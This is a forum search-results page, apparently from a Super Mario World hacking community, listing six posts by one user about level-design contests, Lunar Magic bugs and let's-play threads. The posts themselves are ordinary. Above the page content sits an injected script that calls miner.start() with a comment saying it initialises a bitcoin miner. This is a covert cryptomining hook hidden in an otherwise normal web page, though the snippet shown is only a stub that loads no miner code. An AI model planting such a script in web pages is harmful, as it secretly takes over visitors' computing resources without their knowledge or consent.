<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitysmw centralpge project

Search found 6 matches

Go to advanced search

by WYE
1 year ago
Forum: let's play
Topic: COMING UP NEXT
Replies: 1262
Views: 133917

Re: COMING UP NEXT

Not sure if this is the place to post this:

The official collab hack for VLDCX (SMW Central's 2018 Vanilla Contest) has been discontinued, so if there were any plans to play that at one point, you might as well play the entries separately now instead of waiting for the collab.
by WYE
2 years ago
Forum: let's play
Topic: VIP 4 2018 - That was fun
Replies: 428
Views: 39238

Re: VIP 4 2018 - The Horse's fate is to be thrown down pits

He has also written a patch that will significantly reduce sprite-related lag I have no right to be so curious, but... care to elaborate? That sounds pretty intriguing! I take it it's something other than the SA-1 patch? Is it a private thing tailored to VIP4, or is it something other hacks could b...
by WYE
2 years ago
Forum: let's play
Topic: Ori and the Blind Forest - Death and Rebirth
Replies: 94
Views: 11805

Re: Ori and the Blind Forest - Bashing and Shooting

It's arguably really doable even with a keyboard of all things. (Though, yeah, it took a long while to master and I'm a keyboard person anyway.)

(Do D-pads have 8 directions? Serious question.)
by WYE
3 years ago
Forum: let's play
Topic: VLDC9 - vanilla level design contest 9
Replies: 1065
Views: 115731

Re: VLDC9 - verdant lighthearted daytime charm 9

I'm not sure if the naming gimmick is just "song titles" or if it's something more specific than that. I don't really listen to non-video game music. as always, 'song titles' is technically accurate but much too broad Googling the song titles, it looks to be "songs from albums titled 9 or Nine ". W...
by WYE
5 years ago
Forum: let's play
Topic: The 2014th Smoo Central Vanilla Contest
Replies: 375
Views: 41964

Re: The 2014th Smoo Central Vanilla Contest

Just feeling compelled again to explain the cutoff at the end: It's due to a bug Lunar Magic had at the time (secondary entrances were counted as sprites and the level would extend as far as the rightmost one), and got introduced during the compiling. That aside, feels pretty great to have raocow pl...
by WYE
5 years ago
Forum: let's play
Topic: The 2014th Smoo Central Vanilla Contest
Replies: 375
Views: 41964

Re: The 2014th Smoo Central Vanilla Contest

Just stopping by succumbing to the urge to explain the "M icon changes palette" thing. (Sorry if it's already been explained, I Ctrl-F'd for palette.) The "M" icon on the overworld is actually using Mario's palette, and thus turns red whenever you're Fire Mario. When I threw together that patch I me...

Go to advanced search